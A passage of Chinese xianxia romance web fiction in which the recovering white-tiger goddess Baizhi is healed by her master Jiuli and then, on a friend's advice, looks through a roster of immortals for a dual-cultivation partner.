凡间一世便如镜花水月,当不得真,师尊清明寡欲,不沾凡尘,而她只是因翻过太多话本子,头脑一时想歪。 从前又不是没有发生过类似的误会。 第82章 第82章本能就会凑上来 约莫是两三万年前,有一阵子她闲着无聊,又有些想念朱雀,便打包行囊,带着七彩雀去南岳小住了几十年。 那段时日不知玄武为何有空,也常来南岳找她。 来的次数多了,恰逢七彩雀也在沉迷凡间的话本子 中间如何不重要,反正后来她被七彩雀各种分析说服,误会玄武喜欢她 所以玄武第二日再来找她时,她便急匆匆跑去开了房门,扬着头梗着脖子警告玄武,“你我相识相伴几万年,应当知我对另一半要求甚高。我只把你当做兄弟望你收起那些不必要的心思,别想” 说到后面,白芷便有些磕绊。 实在是活了那么多年,这还是她第一次碰到感情的困扰。 按白芷看话本子多年的经验,往往情爱之事,不是两情相悦,那便应当断则断,不然总会惹出是非。 拒绝玄武的话她想了许久,主要围绕让他不要癞蛤蟆想吃天鹅肉展开 但又顾忌着两人多年情分,玄武长得虽不如她师尊那般清绝,但怎么样也算俊秀,说人家癞蛤蟆好似过分了些。 所以,她顿了顿,在心里快速斟酌了下,重新说道:“我是看不上你的。若你” 在她还想客气友好地拒绝玄武的心意时,朱雀出现了。 朱雀一脸震惊地看着她与玄武 白虎与朱雀两人自小一起在母神处受训,亲密无间,朱雀看着虽冷冰冰,性子却是四星兽里最软和最温柔的一个。 而那时,她看着玄武的眼神,冷得恍如冰雪。 哎再回忆下去就有些丢脸了。 总之,那时的误会,硬要怪谁的话,只能怪七彩雀。 乱造谣乱传谣。 而她,被玄武一掌拍出几十里外,也算是她应得的。 当她风尘仆仆地赶回南岳想找玄武算账时,发现向来最爱面子的他正跪在朱雀的门前 好在这事除了他们三个和七彩雀,无人知晓,否则她在神界威勇的名声可就毁了。 罪过啊罪过,有前车之鉴,白芷更在脑海里警戒自己几声,切莫多思多想多说,免得坏了师尊名声。 做了足够的心理建设,白芷深深吸了一口气,终于觉得灵台清净了许多。 再往里走,便是九黎常年闭关的莲花虚境了,真正闭关修炼的地方。 白芷用手指轻轻触在那层如水波荡漾的浅蓝结界上,霎那间结界包裹住白虎的手指。 察觉是熟悉的气息,水波立刻分散至两边 白虎径直踏了进去。 结界内,九黎端坐在莲台上。他闭眼敛气,周遭精纯灵气悬环于四周,即使室内多了一人,他也丝毫未受影响。 室内两座莲台相距不远,白芷进来后小心觑了觑高坐莲台上的那人。 即便九黎未睁眼瞧她,白芷还是行了个礼,然后抬手捏了个诀,下一瞬,人便坐在莲台上。 白芷性子虽懒散些,但该认真的时候,还是很认真的。 从前被九黎抓来闭关,常常以百年计。那些日子当然没有白费,否则以她修炼的频次,战力修为不可能稳居其他星兽之上。 当然,青龙除外。 那厮悟性又高,又素来勤勉,白虎从不与他比,主打一个打不过就跑,从不内 耗自己。 但这次,以人界的时间来计,在莲台上闭气凝神不到几日,白芷的神情便起了波动,紧接着喉咙处涌上一股热烫,强咽不行,她忽地睁开眼,向旁侧吐了一口血。 另一座莲台上的人显然注意到这样微小的动静,立马中断玄游,身影瞬间旋移,扶住白芷即将倾倒的身躯。 经脉逆行,刚凝化的元神还很虚弱,白芷只能下意识地抓住身旁的人。 九黎原本想将她扶坐好,再为她调息顺脉,可白芷实在虚弱得有些出乎他的意料。 无法,他只能挥退他的莲台,腾身坐到白芷的莲台上。 莲台是化灵的神物,本就是九黎的属物,所以九黎上来时,莲台并无排斥,反而莲朵往外伸展几分,因此,两人同坐于莲台上也不显得逼仄。 但毕竟位置有限,两人面对面,膝盖差豪厘便要相抵 不过,此刻无人能顾暇这样的细节。 还魂珠一珠难求,效力凶猛,白芷在短时间内连服两枚,强势将元神碎片在极短的时间内重聚。 但元神重聚谈何简单,若不是九黎留了自己一魄在她体内,恐怕白芷早就魂消魄散了。 当初九黎在最后关头将白芷的元神从皿灵阵中救回,但皿灵阵咬住了人怎么可能轻易放开,白芷还是有一魄被皿灵阵彻底吞噬。 花费了几千年,不知借助多少上古神物,甚至不惜用轮回之法,九黎就是为了替白芷重塑一魄。 可现在看来,新的一魄迟迟无法被其他魂魄吸收,所以白芷才会这样虚弱。 而她这样虚弱,他的那一魄,一时间也不能尽数收回 源源不断的灵力流经五脏六腑,精纯且清凉的灵力缠结包裹着那些逆行的经脉 一人的灵力能畅行无阻流淌在另一个人的体内,只有两种可能,一种是被动,其中一人的实力足以碾压另一人,被注入灵力之人根本无法反抗。 另一种便是主动,被注入灵力的一方从身到心,完完全全信任注入灵力那一方。 不知白芷是哪种情况,吐了血后,她意识失了大半,元神失守,只靠本能去寻找能救命的东西。 元神难以相容不是小问题,源源不断的灵力只能为她减轻当下的痛苦。 真正要解决,只能亲自进入她的识海,去看看到底该用什么方法帮她解决问题。 就算是以前,九黎强行进入白芷的识海,也不算难事,更别说如今修为愈发悬殊。 但九黎进入前,还是俯到白芷耳边,轻轻说道:“是我,放松。” 他语气淡淡的,不是商量,只是告知。之后,他两指搭在白芷的寸关处,元神慢慢进入,去探寻她的 白芷很放松,九黎没花多少时间,顺利进入到她的识海。 白芷是百兽之长,纯阳之体,九黎并不是第一次进入她的识海。 从前为她疗伤时他也进来过,她的元神犹如一团熊熊燃烧的火焰,永远热烈旺盛充满生机。而如今,她的元神有如摇摇欲坠的小火苗,仿佛下一瞬就要熄灭 九黎眉间拧了拧,正欲捏诀靠近时,那团摇摇欲坠的小火苗忽地向他席卷而来。 大约是毫无防备,一瞬间那团小火焰竟缠上他的元神。 九黎的元神是水系冰原,可那团小火苗缠上来后却不见熄灭 那小火苗缠绕的轨迹看似毫无章法,可再观察仔细些,火苗最后蔓延的地方,是在九黎第五魄,缠绕上去后,火苗越燃越旺 白芷失了意识,她的元神只是本能地想变得强壮些,所以的火苗自发地缠绕住那道生机 九黎怔愣一瞬后便懂了,相比于他为白芷新炼成的那一魄,白芷的元神更熟悉他身上曾经用来捆绑她身上其他魂魄的第五魄。 他的第五魄在她身上近万年,捆绑的同时也滋养着其他三魂六魄,所以她的元神一遇到他的,本能地就会凑上来 许是小火苗太过灼热,九黎的元神似有若无般颤了颤 再缠得紧些,对那缕新炼成的魂魄更不利,九黎立马在心中念起咒语。 慢慢地,那些缠绕住他元神的火苗慢慢退开。 可它们不死心一般,一直围绕在他周围,仿佛在伺机而动。 ——对于它们来说,九黎的第五魄与它们无比契合,又能使它们焕发生机变得强大 如今白芷的元神太弱,九黎反而不好下手,以致于元神迟迟未能顺利从她的识海里退出来。 而莲台上,白芷的身躯无力地缓缓倚向九黎 待九黎安抚住她那些蠢蠢欲动的魂魄,元神终于得以退出她的识海时,原本与他相对而坐的身躯已经软软地歪倒在他膝上 满头青丝柔软地披散开,落在她的脸上,莲台上 还有他的膝上,手上无处不在 许是元神刚刚才从那些灼热的火苗中脱离出来,九黎觉得搭在他膝上的那些发丝仿佛也化了灵,带了温度,能将人缠绕住。 他闭了眼,凝神聚气为昏倒的女子修补崩裂的经脉。 中途,他无端抽出一丝心神,念起几万年前曾教给白芷的清心咒 第83章 第83章一寸寸慢慢涨红 自父神和母神陨化,三界安定,甚少有人记得,白虎星君曾是母神座下最骁勇的星兽。 虽然这百十万年年白芷常常因各种胡闹事迹被仙界津津乐道,但实际上仙界真正见过她的人并不多。 传闻里,白虎通身白毛,身形魁梧如壮汉,霸道威猛。 她的事迹被传得越开,这个形象便越深入人心。 当然,这个形象流传止于她祭皿灵阵前。 皿灵阵开启时,一道橙光逆着人潮投向阵前。 众目睽睽之下,身着浅黄仙羽裙的少女已经被阵中白光卷入…… 幸存的仙人们是后来才得知,那祭阵的少女,便是九黎神尊鼎鼎有名的徒弟,白虎星君。 总之,关于白芷的传闻,半真半假。但凭来她素来在三界不怕天不怕地横行霸道的做派,也能知道,她的战力的确不俗。 而如今,那个嚣张肆意的女子只能软绵绵地靠在九黎膝上,身上的灵力勉强让她维持人形…… 看着膝上的人儿,九黎眼睫轻微动了动,伸出手往她额头上一点。 ——苍白无力的人儿瞬间陷入沉睡,化作一只毛发雪白如玉的小虎兽。 鸦青色的眼睫垂下,眼眸里印着一团柔软的雪白…… 一瞬之后,九黎伸出两指,将之提入怀里- 白芷的元神太弱,修炼的方式与从前大有不同。 好在她悟性高,数次被反噬昏倒后,渐渐找到适合自己现阶段的修炼方式。 无他,就是慢慢来。 很慢很慢的那种。 慢到几十个星辰流转昼夜更替,她才勉强不用九黎护持,能用九黎教给她的融魂之术压制和融合未完全合体的魂魄。 反正,不会动不动就昏倒了。 白芷原本已经做好准备,要同九黎在这兰因殿至少闭关个几百年。 即使修为无法恢复从前之万一,至少再出关时不要像如今这样病恹恹的,仿佛一阵风都能吹倒的模样。 但四十九天之后,九黎主动撤 下兰因殿的结界。 白芷知道,这就代表这次闭关已经结束。但时间实在太短,以致于她一时不敢相信。 当九黎从莲台走下来,看也没看她一眼,去打开兰因殿大门的那一刻,白芷还正襟危坐在莲台上。 而九黎迈门槛的那一刻,仿佛才意识到她没跟上,回过头来看她。 四眼相对时,白芷一副“我还可以”,“我还要练”的求知若渴的神情 “” 九黎最终还是顿住脚步,淡淡落了一句:“休息几日再来。” 再继续,也只是拔苗助长,对她不会有任何好处。 难得得九黎一句解释,白芷只好点了点头。 她从莲台上落到地上,原本还想问他几个问题,只是刚提步,小指忽然颤了颤。 白芷遂停住脚步。 等她再抬头时,刚刚还停留在门外的身影已然不知所踪。 白芷叹了口气,也罢,急也急不来。 看着小指持续传来的感应,白芷扬了扬嘴角。 玄武那厮,还是一样没耐心,短短几刻,不知已经召唤她多少次。 也不知道刚刚师尊为她护法疗伤的时候,有没有发现她中途短短开了下小差。 算了。 白芷在小指上点了点,脚步加快,赶回临云水榭。 幽冥间超脱三界之外,玄武并不常离开,但此次收到白虎的传信,他与朱雀二人皆十分惊诧。 朱雀不好离开神冢,于是乎,玄武第一时间赶到九重天。 星兽之间有特殊的联结,千年前朱雀忽然感应到白虎的气息,他们就开始猜测,白芷或许没有死。 万年前,仙魔大战后九黎前往幽冥间闭关,别人不知,但玄武怎么可能不知。他早就猜想九黎此举与白芷有关,但北帝明令他不准踏入掖太山…… 九黎出关时,玄武因事外出,正好不在幽冥间,根本来不及向他追问白芷的下落和情况 早就做好准备,千年万年,只要白虎能回来,做什么他们都愿意。 收到传信的那一刻,没有人知道他们心里有多震动。 怕一切只是妄想,匆匆忙忙赶来她平时住的临云水榭,就怕晚一步见不到人。 可没想到来了之后,水榭内依旧是空空如也。 原本玄武有些不管不顾,想闯去凌霄殿质问九黎,他们的白虎到底是生是死。 若是生,凭什么九黎一直藏着不让他们相见? 好在七彩雀感应到水榭有人闯进,从灵池回来得及时,将玄武拦下。 从七彩雀嘴里得知白芷确实已经返回九重天,玄武先是一喜。但紧接着七彩雀一句白芷同神尊闭关去,玄武心里又划过一丝怪异的感觉。 仿佛回到从前。 他不由得想起母神陨落后,他们四星兽分落四处,而白虎每每与他们在一起时,常挂在嘴边的一句话,便是要回九重天闭关去了。 四星兽自小一起修炼长大,数不清已经活了多少个沧海桑田,但在他们心里,白虎始终是他们的小妹妹。 虽顽劣调皮些,但也无伤大雅。毕竟活了这么久,还能对世事存以好奇之心,闹腾得起来的人,也就她一个了。 说来也奇怪,明明最顽劣最随性之人,连母神都拘不住她,偏偏对母神之子——九黎这位神尊畏惧得不行。 每次离开九重天没多久,便像后面有人在追魂一般,呆没几日就灰溜溜收拾包裹说要回去见师尊…… 乖巧得太过反常。 九黎是天生的神衹,自来孤冷出尘,寡言少语。玄武在神殿呆了那么多年,就没看到他脸上有过什么情绪和变化。 按朱雀的话来说,这位神主性子像是寂灭之海,生不出丝毫烟火。 总之,他们印象中的九黎,与白虎口中严厉到有些锱铢必较的师父,好像不是同一个人。 但不管怎么说,白芷有畏惧的人,也不算是坏事,不然那家伙还不知道要如何翻天覆地。 虽说如今他也能感应到白虎的气息,可到底没见着面,心里就是不踏实。 闭关玄武在心里琢磨着,以往常的经验,最快也得百年后才能见到她。 他倒是有心在这里等,但他如今的身份,却不能在九重天停留太久。 玄武咬了咬牙,想着能等多久是多久,最多回去被北帝罚几日。 不过担忧过头,白芷很快就回来了。 万年未见,又差点生死相隔,玄武还是没有想到,回来后的白芷灵力气息如此微弱。 见到她,他的眼里既喜又忧。 而难得见玄武这样煽情的模样,对她又颇是和蔼可亲,白芷反倒有些不习惯了。 她挠了挠眉尾,心头热热的,有些羞赧。 知道他与朱雀都想知道这万年来发生了什么,白芷便大致解释了一下,托他告诉朱雀莫要担心,待她灵力再恢复些便去看他们。 听到闭关是九黎在为她疗伤护法,玄武盯了她好一会,见她面色还算红润,便也稍稍放下心。 他知道,有九黎在,白虎不会出什么事。 毕竟,连元神消散,九黎都生生将人救了回来。 刚出关情绪就十分波动,又说了许多话,白芷忍不住咳了几声。 玄武见状,嫌弃般地皱了皱眉。但下一秒,又毫不犹豫掏出自己的乾坤袋,丢给她。 看着手里沉甸甸的袋子,白芷睁大了眼睛,问:“都可以挑?” “嗯。放你这,下次还我。” 白芷听完,惊喜更甚。 玄武还没对朱雀剖白心迹前,常常行踪不定,因他性子内敛,其他人很难从他嘴里撬出些什么消息。 但白芷却知道,玄武有收集珍宝的喜好。十里八荒,只要他感兴趣的,再难他也会去将那宝贝搜罗来。 他的乾坤袋,她不知道觊觎了多久。 不为占有,而是想知道,那里面到底装了什么。 从前也试着同他打商量,让她借自己瞧一眼,他理都不理。 没想到这次这么大方 白芷感动得眼泪都要掉下来了。 看到白芷看着他含情脉脉的模样,玄武皱了皱眉,立刻防备地后退了两步。 他可是有主的男人。 不过显然他多想了,白芷纯纯只是欣赏的眼神,她当着他的面打开乾坤袋,把袋子里的宝贝一件件掏出来…… 玄武不能久留,只好长话短话,“别的就算了,你如今元神太弱,囊不住阳气,里头有几株北海仙草,下次闭关时,你交予神尊用灵力炼化,对你大有裨益。” 白芷点了点头,没有推辞。 “那我走了,你好好修炼,这阵子就不要再到处乱跑了。” “”刚得了人家的好处,白芷自然事事应承,“那是那是,你同朱雀都放心罢,我好好的。” 玄武应了声,转身离开前瞥了眼白芷。 ——仔细看她,身形与从前也无甚区别,但许是心理作用,总觉得她瘦弱了不少。 虽然知道九黎会保她平安,但她如今这样虚弱…… 看来还是朱雀有先见之明。 想到来时朱雀殷殷交待让他告知白芷的话,玄武犹豫了下,还是停住脚步。他面无表情地将朱雀借他嘴叮嘱白术的话复述了一遍,说完后看白虎眼神呆滞,像是认真思考的模样,他便放下心。 掌心灼热提醒着他神荼的催促,玄武没有再停留,捏了个诀,消失在水榭门外。 待他离开好一会,白芷却还维持着那个怔愣的神情,呆呆地望着他离去的方向 直到七彩雀捧着朝露过来,喊了她一声,她才回过神。 然后,莹白小脸一寸寸慢慢涨红 七彩雀见白芷咬着唇红着脸,也朝玄武离去的方向望了望,惊奇问道:“玄武星君又说什么话惹你生气了?” 七彩雀常年跟在白芷身边,也知几个星君的性子。 玄武星君平日话虽不不多,但每每说出来的话总是能让人气得跳脚。 “没什么。”白 芷咳了咳,接过七彩雀手上的彩盘,“我累了,进去睡会。” 七彩雀不疑有它,点了点头,“对了,一会诸夏仙君要过来,到了我再来叫你。” 白芷懒得问为什么,想来也是师尊的吩咐。她点了点头,走回屋里,反手关上门。 第84章 第84章双修如何? 进了屋,白芷把盘子放在桌上,端起盛满朝露的小碗,一口一口地抿着,脑海忍不住琢磨起玄武刚刚说的话。 日月交替,四季更迭,昼夜循环,万物生长乃阴阳平衡之道。 玄武说,她本身为极阳之体,可如今元神虚弱涣散,阳气过盛以致于阴阳不调。当下最好最快的修炼方式,是找一水系或冰系的道侣习双修之法,阴阳调和,事半功倍。 白芷是孕天地灵气而生的星兽,生来仙体,修炼上天赋异禀。她不清楚,所谓殊途同归,世间修炼之法万千,双修可算是其中最益人益已的一条坦途。 受朱雀所托,玄武说得郑重且认真。 可他说完就走,不知道他短短几句话给白芷留下多大的震撼。 双修么? 双修之术并不是什么了不得的术法,修为较低的仙人修炼时多会采取这个方法,待修为到了一定程度,双修之法进益不多,双方再解了道侣的身份也是常有的。 以她从前的修为,一人修炼足矣,更别说她还有九黎这个师尊指导。 明明是再正常不过的提议,白芷听完却忍不住红了脸。 她虽活的时间长,也乐于尝试所有没接触过的事物,但双修这件事,她的确从来没有想过。 所以,双修时具体是怎么个修法,她其实也不是很明白。 只是玄武离开后,她脑海里莫名浮现出一些迷乱的画面。 不一样的,不一样的。 脸颊热得发烫,白芷把剩下的露水一口饮尽,双手拍了拍自己的脸颊,把那些奇怪的想法拍走。 如今灵力低微,识海不够清明,什么乱七八糟的想法都能凑上来。 心情平复之后,白芷倒也开始仔细斟酌起玄武的提议。 玄武说的没错,她如今的修为承不住她身上过盛的阳气,即使有师尊在身边帮她护法,修炼时她还是觉得心有余而力不足。 若不是次次有师尊伸出援手,恐怕她不止是被反噬和昏迷。 而且,之前师尊元神进入她识海时,她那些虚散的魂魄竟不受控制想去攻击他的元神,白芷隐约间察觉出一些不对劲了。 神衹的元神,哪里是寻常人能靠近沾染的,尤其是她的元神那般虚弱。 除非师尊的元神,也不稳。 她不能再拖累他了。 那么,当下找个道侣,似乎也是个不错的主意。 只是从前她修为深厚,想必很多人会很愿意与她结为道侣。 但如今…… 还要是修水系或冰系的仙者? 谁会那么好心帮她一把? 白芷对仙界的人都认不全,一时倒想不出人选。 反正这几日闲着也是闲着,白芷打算休息一会后便让七彩雀去仙帝处要份仙人名单,她逐个看看有没有合适些的。 虽说与她结契可能短时间吃亏些,不过……白芷看了看玄武给她留下的乾坤袋,这里头好东西不少,随便拿出一件就能让他们少修炼几百年。她这里也有不少珍品,等她修炼步上正轨,解除道侣身份的时候多补偿些东西给他们便是了。 打定主意后,白芷心情舒畅不少,捏了个决,换了身舒服的裙子,随手在桌上拿了本话本子,看了一会,就美美地睡过去了。 大概是九黎替她疗伤作用显著,这次白芷只小憩了一会,醒来后神息饱满舒坦。 正巧七彩雀的声音在门口响起。 “诸夏仙君请稍待会,我先去唤醒星君。” “还在睡?”门外,体型娇小的诸夏仙君拖着个与他半个身子大的不知名的绿植,压了压嘴角,半埋怨般地说道:“她不知道我要来吗?我的丹炉还在炼着丹,要快些回去…” 屋里头,白芷听着诸夏略带不满的语气,止不住压着声音笑出了声,诸夏这个小团子,太久没收拾了! “进来吧。”白芷对着门口喊道。 诸夏仙君听到这声脆生生的声音,眼角拧了拧。 糟糕,不是说她睡着吗! 虽然知道白芷如今身子不好灵力低微,但畏于她往日残威,进门后,诸夏仙君第一时间瞧了瞧桌前那女子的神情。 她应当没听见什么吧? 诸夏假作镇定,把身上背的那颗安眠木放落到窗边,从袖子里取出一个墨绿色的葫芦瓶,从里头取了两颗丹药,单手一挥,那丹药落到安眠木上,瞬间化于无形。 “听说你总是睡得不安稳,这颗安眠木是我亲手培植,把它栽于窗边……” “小团子,不想笑就别笑了。”看着诸夏皮笑肉不笑的模样,白芷点了点他的额角,压着笑意道,“这么久没见了,还记仇呢?” 不就是之前挖了他仙府里几株枯蝶花回来种吗。 大概是水榭水土更好些,那花在她院子里,长势可比在他仙府时好得多。 诸夏一听,嘴角立刻往下压,自己坐到另一侧座上。 “你才记仇。”诸夏嘟囔着,“你又不懂养花,若不是神尊常来照料着,那花早就……” “什么?”白芷听不见诸夏的嘟囔,开口问道。 诸夏抬头瞥了她一眼,懒得跟她解释,“没什么。” “师尊让你来做什么?”诸夏小孩子心性,白芷也不跟他计较,问道。 差点忘了正事,诸夏把绕在小指的一根银色丝线取了下来。 他对着白芷扬了扬下颌。 哎……白芷叹了口气,把手放到桌上。 那银线似有灵性,白芷手刚落下,银线便从诸夏指尖延伸,在白芷手腕环绕几圈,而后,银线化作银光点点,渗透无无形。 诸夏敛了敛神色。 专心看诊时,他神色严肃,脸上的孩子气消失无踪。 两息之后,银线收回,诸夏皱了皱眉,“浪费我两枚还魂珠。” 既然吃下就应该恢复从前那个人憎狗恶的模样,现在这样半死不活算怎么回事? 看着诸夏板着张圆润的娃娃脸,眉头夹的仿佛能夹死苍蝇一般,白芷觉得又好气又好笑,“很不好吗?” 诸夏抬头,看她脸上还带着笑,恨铁不成钢般奶声奶气地斥道:“不好。” “谁让你逞强,皿灵阵你也敢冲。”诸夏边说边从医袋里扒拉东西,不一会,又掏出一个碧绿瓷瓶,丢给白芷,“每天一粒,吃完再来找我。” 见白芷拿着瓷瓶摇了摇,诸夏眼眸里闪过几丝不舍,这小小一瓶药,不知用了他多少私藏的珍品药材。 哎……真是冤家。 “这什么来的?”白芷拿着瓷瓶扬了扬,好奇问道。 “毒药。”诸夏没好气地说道,“每天一颗,记得!” 见诸夏叉着腰,故作老成地跺脚训斥,白芷唇角抿出两粒小小的梨涡,故意逗他:“小团子,你是不是打定我如今虚弱,对你做不了什么,才敢在我面前如此放肆?” 诸夏眼波一横,有种心思被说中的难堪感,谁让她从前武力高还老爱作弄自己…… 原本想趁此机会再放些狠话,可一抬头,看着眼前女子苍白面容被日光映得几近透明,腕骨伶仃地撑着脸颊,唯有眼尾狡黠的光彩与从前无异,他吐出来的话就变了样。 “反正有神尊在,只要你乖乖修炼,乖乖吃我给你调制的丹丸,我保证,你很快就会……” “就怎么样?恢复与从前无二?”白芷有些期待,接过诸夏的话头。 回来后修为几近全失,说不难过是假的…… “怎么可能。”诸夏反驳道,说完见白芷亮晶晶期冀的眼神一下子黯淡,他噎了噎,“额…反正会比现在好很多。” 诸夏边说边觑着眼前人,见她落下浓密的眼睫,乌发随着她低头的姿势连同月白发带一起滑落肩头…… 怎么回事?是不是心理作用?他今日怎么总是觉得白虎这麻烦精很可怜…… 他第一次安慰人,不太习惯,说话便也磕磕巴巴,“你别心急,等你元神安稳,神尊,神尊他一定会有办法让你快些……” “双修如何?” 白芷冷不丁一句话,让诸夏原本正急速转动想着安慰她的脑袋忽地滞塞。 “双修?”诸夏唇瓣微微启着,不确定地重复道。 “对。”白芷点头,“我这种情况,找人双修是不是更好的选择?” “……” 这个问题有些出 乎诸夏意料。 收到神尊之命后,他已经早早斟酌制定好一套诊疗的法子。虽然白芷的情况比他来之前预料的还差些,但大差不差,无非是多费些时间。 ……双修这个法子,真不在他原先列出来的几个诊疗选项中。 倒不是说这个法子不行。 只是…… 神尊会同意吗? 但再想想,神尊怎么会不同意呢?神尊让他竭尽所力为白芷调理身子,具体以什么方式调理,自然是优中选优。 诸夏的脑袋瓜子急速转起来,关于白芷如今的情状,关于双修对她灵力修炼的利弊…… 一番分析,双修几乎没有什么弊端,全是好处。 那他之前,怎么没有想到这个法子呢! 该死,要装镇定,不能给她抓到小辫子! “我正想同你说,”诸夏连眨了好几下眼睛,肉乎乎的小手叩了叩桌,“双修确实是个不错的选择,只是……” 诸夏故作深沉说道:“人选要好好挑,须得是……” “水系或冰系?”白芷道。 “这你也知道?”诸夏眉头皱了皱,他又不是不了解白芷,她可一点都不精通医道。 除非……有人告诉她。 “朱雀告诉你的?”诸夏语气颇为确定。 白芷才不想接他的话,“你就说是或不是?” 知道女子在意,诸夏不卖关子,直说道:“是。” “那就行了。”白芷扬了扬下颌,“药都吃完了,你走吧。” “” 第85章 第85章怕是老牛吃嫩草? 晚些,白芷叫来七彩雀,让他去仙帝那里传个话,要份仙员榜来看看。 七彩雀办事灵光又利落,恰逢仙帝不在,她便直接找到仙帝属下的左辅仙君。 九重天要的东西,仙界哪有不从的。 只是一本仙员榜,话都无需带到仙帝那,左辅仙君也能作主呈上。 左辅仙君圆滑周全,知道神尊早已不管三界琐事,一时猜不出九重天要这仙员榜何用,不过也不敢耽搁,把名榜呈给七彩雀时,他满脸堆笑,想隐晦地打听一番。 因白芷归来这事仙界知道的人并不多,七彩雀也不敢多言,便故作高深道:“自有妙用。”说完便高傲展出金翅,飞速离开仙界- 昊阳仙君前几日渡完十世劫回来,也不知得了什么因缘,一回来连连突破两层修为。 毕竟是仙帝唯一的儿子,仙帝十分着紧,昊阳仙君在里头冲关突破的时候,他带着几位得力仙君守在门外。 好在全程有惊无险,堪称功德圆满。 从明阳仙邸出来,仙帝终于分了一丝眼神给身边的司命仙君。 老司命捧着昊阳仙君那本墨绿色的司命薄,殷殷地看着仙帝,虽不敢直接请功,但眸底明晃晃写着:看我看我…… 的确,昊阳仙君此番渡劫,司命算是矜矜业业,他几乎不休不眠,时刻盯着,生怕昊阳仙君渡劫出了差错。 虽然中途还是出了些意外…… 但结果是好的嘛…… 司命仙君之所以厚着脸皮在仙帝面前晃悠,但也不是为了他自己,他只是想为底下的小司命们谋些福利。 近年来司命殿断断续续添了几批新人,但工作量只有增无减。他知道人员肯定是加不了的,但司命殿拥挤的环境还是可以改善一下的嘛。 司命仙君早就看中司命殿不远处那座翊鸣殿,只是苦于没有契机向仙帝开口…… 昊阳仙君此次功德圆满,他没有功劳也有苦劳,反正那座宫殿空着也是空着,他等着仙帝主动问他要什么赏赐…… 但…… 仙帝瞥了他一眼,神色变得沉重。 司命仙君忙紧跟上去,仙帝放低了声:“神尊那里是什么情况?” 司命仙君也就上次远远瞥了一眼,后面哪里还敢去窥探神尊的事,所以他听完摇了摇头,“凡人命数有限,昊阳仙君在凡间八十病逝,想来神尊也应……回来了吧?” 仙帝点头沉吟,有好几件紧要事等着和神尊禀报,若是回来,那他也该去九重天一趟了- 仙帝上九重天前,先回了一趟玉清殿,正好左辅仙君上前提起九重天来要仙员名册,仙帝便笃定神尊已经轮回归位。 神族自放权给仙界后,其实很少过问三界之事。只是仙帝性子稳妥小心,许多事总还要来请示九黎。 虽然常常得不到回复,但仙帝秉持沉默便是默认 当然,仙帝还是很有分寸,也不会事事都来烦扰九黎。一般关乎仙魔两界的事,他作不了主,才会如此慎之又慎。 听完左辅仙君的话,仙帝眉毛微挑了挑,问:“可有说要仙员名册做甚?” “并未。”左辅仙君垂首回道。 仙帝眉心皱紧,摇了摇头。 神尊这阵子的举动,他属实看不透 但不管如何,七彩雀来了这一趟,恰好给了仙帝上九重天的借口- 凌霄殿内,仙帝神色凛凛,着重说了近期三界尤其是魔界发生的几件大事。 万年前仙魔大战之后,桑尤被禁,后卿重伤,魔界几乎溃不成军。但近千年,魔界内乱不断,后卿那位被关押多年的大哥后殒不知如何逃出暗牢 九黎站在窗前,身姿翩然,眉眼微垂,漂浮在锦色衣摆上的浅蓝灵力衬出他高不高攀的圣洁。他静静地听着仙帝说完前因后果,待他说完,他轻轻地颔了颔首。 “嗯。” 没想到真能听到一声回复,还是肯定,仙帝眼神亮了亮,心头的喜悦简直无法自控要涌出来。不过在神尊面前,他还是不敢失态,“那明日我便让人去魔界传令,若魔界有人趁着内乱浑水摸鱼,再次祸乱,吾等便当真不再退让了。” 正事说完,仙帝想起左辅仙君的话 虽不知神尊取仙员册是何用意,但毕竟他是仙界之主,想来问一问也不算逾矩,于是他斟酌着语气问道:“下仙斗胆问神尊,取仙员册是有何意?” 问了又怕有些逾矩,不问又怕有何疏漏,仙帝说完后,眼眸垂下,所以没看到九黎眸底也划过一丝错愕。 不过只是一瞬,九黎便淡淡说了句:“只是看看,仙帝不必多想。” “是。”见神尊神色如往常一般冷寂平淡,仙帝当真不再多想。 神尊乃主天地万物之神,一言九鼎,不会也无需同他说什么场面话。 “星君归位了。” 九黎语气平淡仿佛随口一提的一句话,落到仙帝耳中,却有如惊雷。 因是意料不及的话,仙帝听完愣了愣,下意识问道:“哪位星君?” 说完后,他又觉得自己愚蠢了。 还能有哪位星君?四星君中,除了白虎星君万年前祭阵殒身,其他三位星君都还好好的。 “白虎星君归位?” 九黎点了点头。 白芷回来一事,他并不欲隐瞒。况且,也没什么好隐瞒的。 只是他也拿不准这个徒弟偶尔异于常人的做派不如先说,好让仙帝有些准备。 能成为众仙之首,仙帝自然有其过人之处,很快就将九黎出关前后的事串联起来。 幽冥间,闭关,镇墓兽,轮回,白虎星君 所以,从幽冥间带回来的那只气息奄奄的镇墓兽,其实是白虎星君? 震惊之余,仙帝又觉得之前 神尊一直让他摸不着头脑的那些举动,都有了解释。 若是事关白虎星君,那一切就都有了合理的解释。 也是他先入为主了,一直认为白虎星君殒身。现在想想,除了白虎星君,这世上还能有谁能让神尊这般眷顾。 看着仙帝热切的眼神,九黎不知道想到什么,说道:“星君初回,仍需修养,此事先不声张。”他的声音如霜寒清凌,可仔细听,也不难听出语气中似有两分无奈。 白虎星君可是千年前降魔患的第一功臣,若不是她,且不论仙界会损失多少精兵猛将,恐怕三界从此不得安宁。 仙帝没想到,白虎星君竟然没死,这可是天大的好消息。想明白后,他第一时间想到的便是要昭告三界,但没想到九黎一句话便堵回他的想法。 仙帝急忙附和道:”应该的应该的,一切听神尊安排。” 被皿灵阵吞噬的人,还能被神尊救回,这无疑对魔界是一个致命的震慑。 今日还真是好日子,喜事连连。 仙帝脸上忍不住露出万年来最开怀的笑容,“还有一事要禀告神尊,小儿昊阳前日历完十世劫归来,也是推了神尊的福。” 神尊下凡轮回原是为了白虎星君,老司命那厮什么都搞不清楚,差点让他以为 如今三方都圆满功成,昊阳在凡间也算同神尊有些缘分,仙帝便想着把昊阳的好消息也禀报神尊。 九黎听完,只是淡淡嗯了一声,“那就好。”- 临云水榭里,白芷窝成一团躺在外间的软榻上,一只手拿着七彩雀在诸夏院子里采来的仙桃一口一口啃咬着,另一只则慢悠悠地翻着书页。 厚厚一本仙员册,七彩雀已经帮她筛了一遍,只将修水系和冰系的仙员名册挑了出来。白芷准备自己再过一遍。 去掉一些年纪太轻的,修为太浅的,最后,符合她道侣条件的,也只剩下五六位。 这五六位里,名字看着都眼生,倒有一位眼熟的,那便是昊阳仙君。 但找熟人下手嘛……白芷心里又觉得有些别扭。 况且,她年长昊阳几万岁,找他当道侣,会不会有点像凡间说得那般,属于是老牛吃嫩草? 但其他几位,她连名字都没有听过 不想太过费神,白芷直接唤来七彩雀,把抽出来的几张名册丢给她,让她变出他们的幻象来看看。 